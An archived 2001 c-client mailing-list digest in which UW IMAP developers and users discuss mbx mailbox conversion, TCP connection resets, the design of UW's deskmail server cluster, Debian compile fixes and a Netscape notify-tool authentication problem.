Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Hisham Al Saad Cc: c-client@u.washington.edu Subject: re: Sharing Mailbox In-Reply-To: <00bf01c0e288$0019bbd0$8b70bcc1@hishamalsaad> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You need to use a different mailbox format. This FAQ answer is in the latest (imap-2001) version, and may be of use for you: Q: How do I use one of the alternative formats described in the formats.txt document? In particular, I hear that mbx format will give me better performance and allow shared access. A: The rumors about mbx format being preferred are true. It is faster than the traditional UNIX mailbox format and permits shared access. However, and this is VERY IMPORTANT, note that using an alternative mailbox format is an advanced facility, and only expert users should undertake it. If you don't understand any of the following notes, you may not be enough of an expert yet, and are probably better off not going this route until you are more comfortable with your understanding. Some of the formats, including mbx, are only supported by the software based on the c-client library, and are not recognized by other mailbox programs. The "vi" editor will corrupt any mbx format mailbox that it encounters. Another problem is that the certain formats, including mbx, use advanced file access and locking techniques that do NOT work reliably with NFS. NFS is not a real filesystem. Use IMAP instead of NFS for distributed access. Each of the following steps are in escalating order of involvement. The higher the number, the more deeply committed you become: (1) The simplest way to create a mbx-format mailbox is to prefer the name with "#driver.mbx/" when creating a mailbox through c-client. For example, if you create "#driver.mbx/foo", the mailbox "foo" will be created in mbx format. Only use "#driver.mbx/" when creating the mailbox. At all other times, just use the name ("foo" in this example); the software will automatically select the driver for mbx whenever that mailbox is accessed without you doing anything else. (2) You can use the "mbxcvt" program (one of the imap-utils on ftp://ftp.cac.washington.edu) to copy an existing mailbox to a new mailbox in mbx format. Read the man page provided with the mbxcvt program for details. (3) If you create an mbx-format INBOX, by creating "#driver.mbx/INBOX" (note that "INBOX" must be all uppercase), then subsequent access to INBOX by any c-client based application will use the mbx-format INBOX. Any mail delivered to the traditional format mailbox in the spool directory (e.g. /var/spool/mail/$USER) will automatically be copied into the mbx-format INBOX and the spool directory copy removed. (4) You can cause any newly-created mailboxes to be in mbx-format by default by changing the definition of CREATEPROTO=unixproto to be CREATEPROTO=mbxproto in imap-2001/src/osdep/unix/Makefile, then rebuilding the IMAP toolkit (do a "make clean" first). Do not change EMPTYPROTO, since mbx format mailboxes are never a zero-byte file. If you use Pine or the imap-utils, you should probably also rebuild them with the new IMAP toolkit too. (5) You can deliver directly to the mbx-format INBOX by use of the tmail or dmail programs in the imap-utils. tmail is for direct invocation from sendmail (or whatever MTA program you use); dmail is for calls from procmail. Both of these programs have man pages in the imap- utils which must be read carefully before making this change. Most other servers (e.g. Cyrus) require use of a non-standard format. A full-fledged all-the-way-to-step-(5) format conversion is not significantly different from what you have to do with other servers. The difference, which makes format conversion procedures somewhat more complicated with this server, is that there is no "all or nothing" requirement with this server. There are many points in between. A format conversion can be anything from a single mailbox or single user, to systemwide. This is good in that you can decide how far to go, or do the steps incrementally as you become more comfortable with the result. On the other hand, there's no "One True Way" which can be boiled down to a simple set of pedagogical instructions. A number of sites have done full-fledged format conversions, and are reportedly quite happy with the results. Feel free to ask in the comp.mail.imap newsgroup or the c-client mailing list for advice or help. From pinedev@shivax2.cac.washington.edu Tue May 22 00:58:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 00:58:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M7w4D00252 for ; Tue, 22 May 2001 00:58:04 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 00:58:04 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7w3C18421; Tue, 22 May 2001 00:58:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M7pRH19028; Tue, 22 May 2001 00:51:27 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7n7050854 for ; Tue, 22 May 2001 00:49:08 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.29]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7n7F01997 for ; Tue, 22 May 2001 00:49:07 -0700 Received: from hosea.qub.ac.uk by mailhub2.qub.ac.uk with SMTP-QUB (XT-PP) with ESMTP; Tue, 22 May 2001 07:49:02 +0000 Received: from cmcd1.cc.qub.ac.uk (cmcd1.cc.qub.ac.uk [143.117.17.85]) by hosea.qub.ac.uk (8.9.3+Sun/8.8.8) with ESMTP id IAA12434; Tue, 22 May 2001 08:48:45 +0100 (BST) Message-Id: Date: Tue, 22 May 2001 08:52:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Clive McDowell To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Client connection resets In-Reply-To: References: MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" X-Sender: C.McDowell@Queens-Belfast.AC.UK X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, I believe that the client should only transmit a tcp packet with FIN and ACK flags set in response to a tcp packet from the server with the FIN flag set. The server did not transmit such a packet under our observations. I'm not sure how correct the ensuing behaviour is - maybe the server should ignore the FIN ACK? Our server is a Solaris 2.5.1 platform patched to the latest level. Has anyone else noticed this with other server platforms? Clive On Mon, 21 May 2001 12:56:24 -0700 (PDT) Mark Crispin wrote: > On Mon, 21 May 2001 10:15:58 +0100, Clive McDowell wrote: > > 1. client and server communicating OK > > 2. client issues a tcp packet with FIN and ACK flags set (no FIN sent > > by server) > > 3. server issues a tcp packet with ACK flag set > > 4. client issues a tcp packet with RESET flag set > > Hmm. I doubt that this is anything that c-client can cause; it's a TCP > interoperability problem. > > It's been too long since I last looked at the TCP specification for me to > figure out which is at fault, the client or server. The client is clearly > sending the RESET in retaliation for an ACK on a session that the client > thinks no longer exists. But it doesn't look like the session termination had > a chance to happen either. > From pinedev@shivax2.cac.washington.edu Tue May 22 00:59:33 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 00:59:33 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M7xVD03067 for ; Tue, 22 May 2001 00:59:31 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 00:59:31 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7xUu32549; Tue, 22 May 2001 00:59:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M7vPH08298; Tue, 22 May 2001 00:57:25 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7tN015526 for ; Tue, 22 May 2001 00:55:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rossi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7tNK12037 for ; Tue, 22 May 2001 00:55:23 -0700 Message-Id: Date: Tue, 22 May 2001 00:51:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Clive McDowell Cc: c-client@u.washington.edu Subject: Re: Client connection resets In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 22 May 2001 08:52:11 +0100, Clive McDowell wrote: > Has anyone else noticed > this with other server platforms? TCP-level interoperability problems between PC clients and UNIX servers have been an ongoing problem for many years. The problem has been in convincing the operating system people that this is their problem and not a problem in the application protocols/implementations. From pinedev@shivax2.cac.washington.edu Tue May 22 04:07:28 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 04:07:27 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MAxiD06005 for ; Tue, 22 May 2001 04:00:04 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 03:02:06 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MA25u02383; Tue, 22 May 2001 03:02:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M9xkH19030; Tue, 22 May 2001 02:59:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M9um090140 for ; Tue, 22 May 2001 02:56:48 -0700 Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M9ulX21312 for ; Tue, 22 May 2001 02:56:47 -0700 Received: from [213.122.189.224] (helo=tunbury) by tungsten.btinternet.com with smtp (Exim 3.03 #83) id 1528u9-0006am-00; Tue, 22 May 2001 10:56:42 +0100 Message-Id: <008801c0e2a5$fc8ca1d0$24217ad5@demon.co.uk> Date: Tue, 22 May 2001 11:00:05 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: "Mark Crispin" Cc: Subject: Re: imapd process count References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > The deskmail cluster at the University of Washington consists of a few dozen > dedicated IMAP server boxes. We can add new server boxes any shuffle users to > them at any time, and use the DNS as a user locator to the currect systems. > User "mrc" uses mrc.deskmail.washington.edu, which today happens to be the > mailer31.u.washington.edu machine (I know because I just looked). > So, in this scenario each of the mailerXX.u.washington.edu boxes has its own local storage which is monitored for space. As space becomes tight users are moved off to other servers. Just for interest how is the move done? NFS copy while the mailbox is not in use? As NFS seems to be out, is it possible to have a large central disk solution which can be accessed by multiple IMAP servers? Or is this simply not worth doing as you say that the disk usage is higher than CPU usage so such a central disk solution would be crippled by all the concurrent accesses from the servers? And sorry if this is all slightly off the topic are you saying that all users have a different IMAP server name - doesn't that mean for an organisation the size of UW you have tens of thousands of DNS entries? Is there an alternative method of doing this kind of thing? --mte From pinedev@shivax2.cac.washington.edu Tue May 22 04:34:35 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 04:34:35 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MB9XD25501 for ; Tue, 22 May 2001 04:09:53 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 03:47:18 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MAlFu03166; Tue, 22 May 2001 03:47:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MAhqX33482; Tue, 22 May 2001 03:43:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MAeu084974 for ; Tue, 22 May 2001 03:40:57 -0700 Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MAeuF18475 for ; Tue, 22 May 2001 03:40:56 -0700 Received: from [213.122.189.224] (helo=tunbury) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 1529am-00008E-00; Tue, 22 May 2001 11:40:45 +0100 Message-Id: <00a101c0e2ac$23216fa0$24217ad5@demon.co.uk> Date: Tue, 22 May 2001 11:44:06 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: "Mark Crispin" Cc: Subject: Re: imapd process count References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > As NFS seems to be out, is it possible to have a large central disk solution > > which can be accessed by multiple IMAP servers? Or is this simply not worth > > doing as you say that the disk usage is higher than CPU usage so such a > > central disk solution would be crippled by all the concurrent accesses from > > the servers? > > This is a controversial point, but I believe the latter. That is, I believe > that a central disk solution is not the way to distribute something as I/O- > intensive as mail. > > Of course, a central disk solution is ideal for files, which have very > different usage/access patterns than mail. > But here I have some confusion, if we have a central disk solution for say users home directories export via NFS. We have a number of IMAP boxes with their own storage for the email. Then where do users folders sit in this environment? Do each of the users have a home directory on 'their' IMAP server which is used exclusively for email? They would probably be barred from logging into server directly. I'm thinking that if they call mail_create(s, "{server}SentBox") the mailbox defaults to their home directory. Is their perhaps a way of allowing folders to be created in /var/spool/mail ? --mte From pinedev@shivax2.cac.washington.edu Tue May 22 04:34:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 04:34:36 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MB9JD22890 for ; Tue, 22 May 2001 04:09:44 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 03:12:20 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MACJC20926; Tue, 22 May 2001 03:12:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MAARp28934; Tue, 22 May 2001 03:10:28 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MA800111250 for ; Tue, 22 May 2001 03:08:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (neil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MA7xF15724 for ; Tue, 22 May 2001 03:07:59 -0700 Message-Id: Date: Tue, 22 May 2001 02:58:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Elvers Cc: c-client@u.washington.edu Subject: Re: imapd process count In-Reply-To: <008801c0e2a5$fc8ca1d0$24217ad5@demon.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 22 May 2001 11:00:05 +0100, Mark Elvers wrote: > So, in this scenario each of the mailerXX.u.washington.edu boxes has its own > local storage which is monitored for space. As space becomes tight users > are moved off to other servers. Actually, as load becomes more than trivial. Disk space is cheap enough to add as needed. It's much more leisurely to move users when you only have a modest load than when a crisis is in progress. > Just for interest how is the move done? > NFS copy while the mailbox is not in use? I'm not sure, but it's not NFS. > As NFS seems to be out, is it possible to have a large central disk solution > which can be accessed by multiple IMAP servers? Or is this simply not worth > doing as you say that the disk usage is higher than CPU usage so such a > central disk solution would be crippled by all the concurrent accesses from > the servers? This is a controversial point, but I believe the latter. That is, I believe that a central disk solution is not the way to distribute something as I/O- intensive as mail. Of course, a central disk solution is ideal for files, which have very different usage/access patterns than mail. > And sorry if this is all slightly off the topic are you saying that all > users have a different IMAP server name - doesn't that mean for an > organisation the size of UW you have tens of thousands of DNS entries? Is > there an alternative method of doing this kind of thing? Yes, there is. The DNS server for the *.deskmail.washington.edu does not use DNS zone files. Instead, it is a special version which interacts with the accounting database which (surprise!) already has tens of thousands of entries. "Which IMAP server" is just another field in the per-user entry. Needless to say, a zone transfer isn't a meaningful concept with that domain! From pinedev@shivax2.cac.washington.edu Tue May 22 08:59:05 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 08:59:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MFx4D15921 for ; Tue, 22 May 2001 08:59:04 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 08:59:03 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MFwxC29219; Tue, 22 May 2001 08:58:59 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MFwkH09460; Tue, 22 May 2001 08:58:46 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MFte042800 for ; Tue, 22 May 2001 08:55:40 -0700 Received: from mail1.andrew.cmu.edu (MAIL1.ANDREW.CMU.EDU [128.2.10.131]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MFtes20005 for ; Tue, 22 May 2001 08:55:40 -0700 Received: from UNIX47.ANDREW.CMU.EDU (UNIX47.ANDREW.CMU.EDU [128.2.11.247]) by mail1.andrew.cmu.edu (8.11.1/8.11.1) with ESMTP id f4MFrI716564; Tue, 22 May 2001 11:53:18 -0400 (EDT) Message-Id: Date: Tue, 22 May 2001 11:53:18 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis R Blanchard To: c-client@u.washington.edu Cc: gjheydon@bigfoot.com Subject: Re: pilot-mailsync compile problems (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ----- Forwarded message from Gordon Heydon ----- Date: Thu, 17 May 2001 22:45:27 +1000 From: Gordon Heydon To: Hollis R Blanchard Subject: Re: pilot-mailsync compile problems Hello, I got it to compile, I had to change all the includes to so if anyone asksnstable debian, that is how I got it to compile. [snip] ----- End forwarded message ----- This message was sent to me regarding compile problems on Debian stable (potato). He's referring to #include found in many c-client source files (built with 'make slx'). I'm using imap-2000c. Please tell me what I'm doing wrong. :) -Hollis From pinedev@shivax2.cac.washington.edu Tue May 22 09:19:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 09:19:18 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MGJHD15296 for ; Tue, 22 May 2001 09:19:17 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 09:19:16 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MGJDC30048; Tue, 22 May 2001 09:19:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MGIsp33958; Tue, 22 May 2001 09:18:54 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MGGQ041766 for ; Tue, 22 May 2001 09:16:26 -0700 Received: from samadhi.braincells.com (root@samadhi.braincells.com [216.99.37.100]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MGGPs26932 for ; Tue, 22 May 2001 09:16:25 -0700 Received: from jyoti.braincells.com (cc52061-a.jrsycty1.nj.home.com [24.11.66.33]) by samadhi.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA01030; Tue, 22 May 2001 12:36:27 -0400 Message-Id: Date: Tue, 22 May 2001 12:14:42 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Hollis R Blanchard Cc: , Subject: Re: pilot-mailsync compile problems (fwd) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: samadhi.braincells.com: Host cc52061-a.jrsycty1.nj.home.com [24.11.66.33] claimed to be jyoti.braincells.com X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 22 May 2001, Hollis R Blanchard wrote: > ----- Forwarded message from Gordon Heydon ----- > > Date: Thu, 17 May 2001 22:45:27 +1000 > From: Gordon Heydon > To: Hollis R Blanchard > Subject: Re: pilot-mailsync compile problems > > Hello, > > I got it to compile, I had to change all the includes to > so if anyone asksnstable debian, that is how I got it to > compile. > > [snip] > > ----- End forwarded message ----- > > This message was sent to me regarding compile problems on Debian stable > (potato). He's referring to #include found in many c-client source > files (built with 'make slx'). I'm using imap-2000c. Please tell me what I'm > doing wrong. :) > > -Hollis > I've already fixed this in the Debian libc-client packages for unstable (Should be easy to backport to potato) The exact problem is that gcc has gotten stricter about unprototyped functions so you have to #include in src/osdep/os_lnx.h -- Jaldhar H. Vyas From pinedev@shivax2.cac.washington.edu Tue May 22 13:43:42 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 13:43:41 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MKheD07757 for ; Tue, 22 May 2001 13:43:40 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 13:43:39 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MKhbu21958; Tue, 22 May 2001 13:43:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4MKhHp27438; Tue, 22 May 2001 13:43:17 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MKel027688 for ; Tue, 22 May 2001 13:40:47 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MKelX11509 for ; Tue, 22 May 2001 13:40:47 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MKek111333; Tue, 22 May 2001 13:40:46 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pearl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MKekC18460; Tue, 22 May 2001 13:40:46 -0700 Message-Id: Date: Tue, 22 May 2001 13:36:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Elvers Cc: c-client@u.washington.edu Subject: Re: imapd process count In-Reply-To: <00a101c0e2ac$23216fa0$24217ad5@demon.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 22 May 2001 11:44:06 +0100, Mark Elvers wrote: > But here I have some confusion, if we have a central disk solution for say > users home directories export via NFS. We have a number of IMAP boxes with > their own storage for the email. Then where do users folders sit in this > environment? Users' mailboxes sit on the IMAP server, and not on the NFS-exported filesystem. Of course, users can also put mailboxes on their NFS-exported home directories on the central disk filesystem, if they configure their clients that way. This may be better for UNIX shell users, but not for PC users. > Do each of the users have a home directory on 'their' IMAP server which is > used exclusively for email? Yes, and this is separate from the NFS-exported central disk home directory. > They would probably be barred from logging into > server directly. Generally, yes. > I'm thinking that if they call mail_create(s, > "{server}SentBox") the mailbox defaults to their home directory. Yes. > Is their > perhaps a way of allowing folders to be created in /var/spool/mail ? There's a way of allowing anything, but trust me, this isn't something that you want to do. From pinedev@shivax2.cac.washington.edu Wed May 23 04:22:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 23 May 2001 04:22:13 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4NBMCD17697 for ; Wed, 23 May 2001 04:22:12 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed May 23 04:22:11 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NBM5u11700; Wed, 23 May 2001 04:22:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4NBLsX10352; Wed, 23 May 2001 04:21:54 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NBHK082702 for ; Wed, 23 May 2001 04:17:21 -0700 Received: from asa.co.uk (mailgate.asa.co.uk [193.119.169.66]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4NBHIF06239 for ; Wed, 23 May 2001 04:17:19 -0700 Message-Id: <3B0B9AA1.1CAB765D@asa.co.uk> Date: Wed, 23 May 2001 12:10:25 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sean Witham To: c-client@u.washington.edu Subject: Netscape problems with uw imapd MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en-GB, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have just installed "imap-2001.BETA.SNAP-0105151510" to see if it solved a problem where netscape would not detect new email in a mailbox until the imap sessions was ended and a new one started. I was previously running a version that dates back to 1998 and so there was not mention of the bug in the fix list for this release. If anyone can confirm that this was a known problem that has been fixed I would appreciated it. Since the update a new problem has been found. Netscape ( we a using version 4.7x on windows ) comes with a notify tool that sits on the windows tool bar and waves a flag when new email has arrive. The new problem is that the notify tool repeatedly asks the user to authenticate. When I checked the logs I found that the notify tool succeeds in authenticating on the first attempt but then logs out straight afterwards but it appeared that the imapd process that started was still running and that a second one had started. Any thoughts on what to do next to get a better idea of what is going wrong ? --Sean -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html 